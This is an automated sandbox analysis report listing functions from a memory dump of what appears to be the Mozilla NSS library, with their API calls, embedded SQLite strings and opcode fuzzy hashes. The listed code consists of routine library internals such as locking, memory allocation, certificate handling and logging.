Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 5cc81574cb93c27a0ea14447d1de11ef75f6a625412b6c32d64b84f5fe5818de
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: BC518371A002029FEB109F6ADE84B36B3F9AF5531CF364129D919E7B61E731E805CB91

Function 6CE69C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE68850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE70715), ref: 6CE68859
Part of subcall function 6CE68850: PR_NewLock.NSS3 ref: 6CE68874
Part of subcall function 6CE68850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE6888D

PR_NewLock.NSS3 ref: 6CE69CAD

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

TlsGetValue.KERNEL32 ref: 6CE69CE8
EnterCriticalSection.KERNEL32(?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D01
TlsGetValue.KERNEL32(?,?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D38
EnterCriticalSection.KERNEL32(?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D4D
PR_Unlock.NSS3 ref: 6CE69D70
PR_Unlock.NSS3 ref: 6CE69DC3
PR_NewLock.NSS3 ref: 6CE69DDD

Part of subcall function 6CE688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE70725,00000000,00000058), ref: 6CE68906
Part of subcall function 6CE688D0: EnterCriticalSection.KERNEL32(?), ref: 6CE6891A
Part of subcall function 6CE688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE6894A
Part of subcall function 6CE688D0: calloc.MOZGLUE(00000001,6CE7072D,00000000,00000000,00000000,?,6CE70725,00000000,00000058), ref: 6CE68959
Part of subcall function 6CE688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE68993
Part of subcall function 6CE688D0: PR_Unlock.NSS3(?), ref: 6CE689AF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 9f8a2ad6b55ffe2903e8878212106cf8715bb6e9ecefea3edd21587b3d5c57df
Instruction ID: 337fa5afe32c18abc0f098b4e38b069c9c53a1e6e92ff7db036bc21dc1a355b8
Opcode Fuzzy Hash: 9f8a2ad6b55ffe2903e8878212106cf8715bb6e9ecefea3edd21587b3d5c57df
Instruction Fuzzy Hash: B2515EB0A647059FDB00EF6AC08466EBBF0BF45359F258529D898DBF11EB30E844CB91

Function 6CF69EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF69EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF69EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69F73
EnterCriticalSection.KERNEL32(?), ref: 6CF69FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF69FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6A01D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: f6fe2fce4a63b45fbfcb6e62609b83c77e30eab132b57708d91adbe594be27d7
Instruction ID: f9dd7ccd492b0e0fa61c265153b6636e52ba65a96b4d01f8a5981aaf10af36b6
Opcode Fuzzy Hash: f6fe2fce4a63b45fbfcb6e62609b83c77e30eab132b57708d91adbe594be27d7
Instruction Fuzzy Hash: 4951B0B2804600DFCB10DF26D48068AB7F0FF55329F25856AD8595BF16EB31E985CBD1

Function 6CE988E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE988FC

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CE98913

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CF7D864,?), ref: 6CE98947

Part of subcall function 6CEAE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CEAE245
Part of subcall function 6CEAE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CEAE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CE9895B
DER_GetInteger_Util.NSS3(?), ref: 6CE98973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE98982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE989EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE98A12

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: e0d66585b5ef88e15f9120feb7e87c8da097a2383e892d9092d936fbe976f98d
Instruction ID: f0ee7e680f0d57499fb0133713ac86ced7f21609d6ac9236c6574dbfd4975d85
Opcode Fuzzy Hash: e0d66585b5ef88e15f9120feb7e87c8da097a2383e892d9092d936fbe976f98d
Instruction Fuzzy Hash: 283149B2A0460056F7304669AC41BAA72B59F9232CF34173BD95DD7BA2FB35C4478293

Function 6CE5DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE5DCFA

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE5DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE5DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE5DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE5DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE5DD8F

Part of subcall function 6CE706A0: TlsGetValue.KERNEL32 ref: 6CE706C2
Part of subcall function 6CE706A0: EnterCriticalSection.KERNEL32(?), ref: 6CE706D6
Part of subcall function 6CE706A0: PR_Unlock.NSS3 ref: 6CE706EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE5DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE5DDB7

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 1bd036ef35ffa29cdb3e939141ebdf4a4735f5f14a1cdeb37dfb4b725df6baf4
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 2821BFBAE011159BDF019FA4DD409DEB7B4AF05218F640124ED14A7711F733EA25CBE1

Function 6CEE5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5F72

Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4ED8F
Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4ED9E
Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FCC
free.MOZGLUE(?,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FF4
free.MOZGLUE(?,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE6036

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 13af9efd3afed51063bf22afa592fe5329df15570c773489616512f4b90b7aff
Instruction ID: 529bce7a06f251368072e2fa94aab91daf35f4730bda2567e0ffdaa950502a3e
Opcode Fuzzy Hash: 13af9efd3afed51063bf22afa592fe5329df15570c773489616512f4b90b7aff
Instruction Fuzzy Hash: C8210EF1A05B049BEA20DFB5A8097D7B7B8AB4574CF24092CE45AC7740D736E014CB91

Function 6CE53C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEC460B,?,?), ref: 6CE53CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE53CB9
PL_HashTableLookup.NSS3(?), ref: 6CE53CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE53CD6
PR_Unlock.NSS3 ref: 6CE53CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE53CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE53D03
PR_Unlock.NSS3 ref: 6CE53D15

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 064b630c60351b128845b396fa6dfb83eccb1e292334eb47ce3679e65198d9c0
Instruction ID: 30fc7ca6a30cc6fc426a9d6f4b36f7c885fa378c15d982a782665c1ffa0537a7
Opcode Fuzzy Hash: 064b630c60351b128845b396fa6dfb83eccb1e292334eb47ce3679e65198d9c0
Instruction Fuzzy Hash: 58114C7AE14505ABDB012B34EC45AAA7A78EB0229CB754134EC1893712F723DA79C7E1

Function 6CE59C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE711C0: PR_NewLock.NSS3 ref: 6CE71216

free.MOZGLUE(?), ref: 6CE59E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE59E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE59E4E
TlsGetValue.KERNEL32 ref: 6CE59EA2

Part of subcall function 6CE69500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE69546

EnterCriticalSection.KERNEL32(?), ref: 6CE59EB6
PR_Unlock.NSS3 ref: 6CE59ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE59F18

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f75ed0323c21a05d84b24122d8285899e9b2bdf9264a2df3ea8fcc41d9af8dcb
Instruction ID: aad12b15ca22efa1d8e364ea7ba76c9b5af83d17c0e4b9e36289f9608feb22df
Opcode Fuzzy Hash: f75ed0323c21a05d84b24122d8285899e9b2bdf9264a2df3ea8fcc41d9af8dcb
Instruction Fuzzy Hash: 4281D3B1A00601ABEB109F35DC41BEBB7B5BF4524CF64452DE85987B41FB32E826C7A1

Function 6CE6DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE71397,5B5F5EC0,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB3C
Part of subcall function 6CE6AB10: free.MOZGLUE(D958E836,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB49
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(5D5E6D06), ref: 6CE6AB5C
Part of subcall function 6CE6AB10: free.MOZGLUE(5D5E6CFA), ref: 6CE6AB63
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE6AB6F
Part of subcall function 6CE6AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE6AB76

TlsGetValue.KERNEL32 ref: 6CE6DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE6DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE6DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE6DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6DEA6
PR_Unlock.NSS3(?), ref: 6CE6DF08

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 9e28a61c7a1b494b4998551c1cb2d41e04b3f1ee92d47c9b21031c3e0d1af64d
Instruction ID: a8a2b0ed0ba745f01a5b96acbda3eea9c2e4c3a45dfda5a6b95d14229d353e63
Opcode Fuzzy Hash: 9e28a61c7a1b494b4998551c1cb2d41e04b3f1ee92d47c9b21031c3e0d1af64d
Instruction Fuzzy Hash: AC9103B9E501059FDB00CF6AD881BAAB7B1AF4530CF758129DC189BF41E731EA15CBA1

Function 6CE25FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE260AB
sqlite3_config.NSS3(00000004,6CF74CA4,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE260EB
sqlite3_config.NSS3(00000012,6CF74CC4,?,?,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE26122

Strings

%s at line %d of [%.10s], xrefs: 6CE260A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE26095
misuse, xrefs: 6CE2609F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 1b7fbd0126e8ecdd5d8a07d85531575d543d2ca6d97acdc029ce8b71bb731ff7
Instruction ID: 17f4e3dc6255063f05a9ea6beb058e2d7532376160cb79f244d0b7da23f9e3ee
Opcode Fuzzy Hash: 1b7fbd0126e8ecdd5d8a07d85531575d543d2ca6d97acdc029ce8b71bb731ff7
Instruction Fuzzy Hash: C2B18274E1464ACFDB05CF9DD250AA9FBF0FF1E304B118259D509AB322E730AA94CB95

Function 6CDD4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDD4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDD51BB

Strings

%s at line %d of [%.10s], xrefs: 6CDD51B4
misuse, xrefs: 6CDD51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDD51A5
unable to delete/modify user-function due to active statements, xrefs: 6CDD51DF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 051f4b23e41436758201dfa956dccbfe5f4113e26b1ac78aefccee2f7a77c566
Instruction ID: 9d7b08f244f355ff6e7dfb6aaafa2f5db11f1bc9e811ba6fa72bcdff4c9ba0c8
Opcode Fuzzy Hash: 051f4b23e41436758201dfa956dccbfe5f4113e26b1ac78aefccee2f7a77c566
Instruction Fuzzy Hash: 9371AFB1A0420ADBDB00CF25CC80BAA77B5FF49308F1A4525ED199BA61E731E955CBA1

Function 6CE42D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE42D69

Strings

winSeekFile, xrefs: 6CE42E9C
winUnmapfile1, xrefs: 6CE42F55
winUnmapfile2, xrefs: 6CE42F7F
winTruncate2, xrefs: 6CE42EF8
winTruncate1, xrefs: 6CE42EBE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 91565f69b397882a1eb095099d2d5eb9c61f811b1b0908be7479db126ed22694
Instruction ID: a05318416a7f8ca9858ad4ecd625ce7cfcba5e1b9dda3256595c707570714b3d
